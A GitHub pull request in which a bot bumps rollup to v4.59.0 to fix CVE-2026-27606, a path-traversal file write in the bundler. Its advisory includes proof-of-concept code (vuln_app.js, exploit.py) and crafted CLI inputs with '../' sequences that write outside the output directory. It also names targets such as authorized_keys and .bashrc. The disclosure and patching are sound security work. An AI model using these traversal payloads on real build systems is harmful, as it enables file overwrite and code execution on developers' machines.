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chore(deps): update dependency rollup to v4.59.0 [security] (v2)#3291

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renovate/v2-npm-rollup-vulnerability
Mar 1, 2026
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chore(deps): update dependency rollup to v4.59.0 [security] (v2)#3291
Legend-Master merged 3 commits intov2from
renovate/v2-npm-rollup-vulnerability

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@renovate renovate bot commented Mar 1, 2026

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.57.14.59.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
    const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image

Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

Configuration

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 1, 2026
@renovate renovate bot requested a review from a team as a code owner March 1, 2026 02:10
@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 1, 2026
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github-actions bot commented Mar 1, 2026

Package Changes Through 38867f4

There are 6 changes which include fs with minor, fs-js with minor, http with patch, http-js with patch, dialog with minor, dialog-js with minor

Planned Package Versions

The following package releases are the planned based on the context of changes in this pull request.

package current next
api-example 2.0.41 2.0.42
api-example-js 2.0.37 2.0.38
fs 2.4.5 2.5.0
fs-js 2.4.5 2.5.0
dialog 2.6.0 2.7.0
dialog-js 2.6.0 2.7.0
http 2.5.7 2.5.8
http-js 2.5.7 2.5.8
persisted-scope 2.3.5 2.3.6

Add another change file through the GitHub UI by following this link.


Read about change files or the docs at github.com/jbolda/covector

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socket-security bot commented Mar 1, 2026

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatednpm/​svelte@​5.28.2 ⏵ 5.53.688 -11100 +688 +198 +1100
Updatednpm/​rollup@​4.57.1 ⏵ 4.59.088100 +1610099100

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@renovate renovate bot force-pushed the renovate/v2-npm-rollup-vulnerability branch from bf1640a to c3d269f Compare March 1, 2026 02:56
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renovate bot commented Mar 1, 2026

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

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Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action Severity Alert  (click "▶" to expand/collapse)
Warn High
Obfuscated code: npm svelte is 91.0% likely obfuscated

Confidence: 0.91

Location: Package overview

From: examples/api/package.jsonnpm/svelte@5.53.6

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/svelte@5.53.6. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

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@Legend-Master
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serialize-javascript bump will need to wait for rollup/plugins#1959

@Legend-Master Legend-Master merged commit 6816dd1 into v2 Mar 1, 2026
36 of 37 checks passed
@Legend-Master Legend-Master deleted the renovate/v2-npm-rollup-vulnerability branch March 1, 2026 03:11
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